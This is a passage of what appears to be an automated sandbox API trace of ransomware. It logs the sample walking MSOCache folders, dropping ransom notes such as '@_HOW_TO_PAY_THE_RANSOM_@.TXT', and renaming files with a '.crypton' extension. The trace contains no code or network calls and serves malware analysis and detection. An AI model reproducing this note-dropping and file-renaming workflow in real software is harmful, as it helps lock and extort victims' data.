users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.236] GetFileType (hFile=0x190) returned 0x1 [0069.236] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52fb50 | out: hHeap=0x510000) returned 1 [0069.237] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0069.237] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="..", cAlternateFileName="")) returned 1 [0069.237] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a041c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x536b88 [0069.237] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x54a680 [0069.237] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.238] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a041c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x536b88 [0069.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x54a680 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.238] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a041c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x536b88 [0069.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x54a680 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.238] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0069.238] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0069.238] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0069.238] AreFileApisANSI () returned 1 [0069.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.242] AreFileApisANSI () returned 1 [0069.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.242] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.crypton"), dwFlags=0x2) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556dc8 | out: hHeap=0x510000) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.243] AreFileApisANSI () returned 1 [0069.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.243] AreFileApisANSI () returned 1 [0069.243] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0069.243] GetLastError () returned 0x2 [0069.243] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0069.243] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0069.243] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0069.243] AreFileApisANSI () returned 1 [0069.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0069.245] GetFileType (hFile=0x190) returned 0x1 [0069.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52fb50 | out: hHeap=0x510000) returned 1 [0069.246] AreFileApisANSI () returned 1 [0069.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0069.248] AreFileApisANSI () returned 1 [0069.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0069.250] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a2a320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0069.250] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a2a320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="..", cAlternateFileName="")) returned 1 [0069.250] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a2a320, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a2a320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.250] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a2a320, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a2a320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.250] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a2a320, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a2a320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.250] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0069.250] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0069.251] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0069.251] AreFileApisANSI () returned 1 [0069.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.254] AreFileApisANSI () returned 1 [0069.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.254] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.crypton"), dwFlags=0x2) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556dc8 | out: hHeap=0x510000) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.254] AreFileApisANSI () returned 1 [0069.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.255] AreFileApisANSI () returned 1 [0069.255] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0069.255] GetLastError () returned 0x2 [0069.255] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0069.255] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0069.255] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0069.255] AreFileApisANSI () returned 1 [0069.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0069.255] GetFileType (hFile=0x190) returned 0x1 [0069.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52fb50 | out: hHeap=0x510000) returned 1 [0069.256] AreFileApisANSI () returned 1 [0069.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0069.264] AreFileApisANSI () returned 1 [0069.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0069.293] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a765e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a765e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a765e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a765e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="..", cAlternateFileName="")) returned 1 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a2a320, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a2a320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a765e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a765e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a9c740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a2a320, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a2a320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a50480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0069.293] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0069.293] AreFileApisANSI () returned 1 [0069.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.296] AreFileApisANSI () returned 1 [0069.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.296] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\\\MSOCache\\All 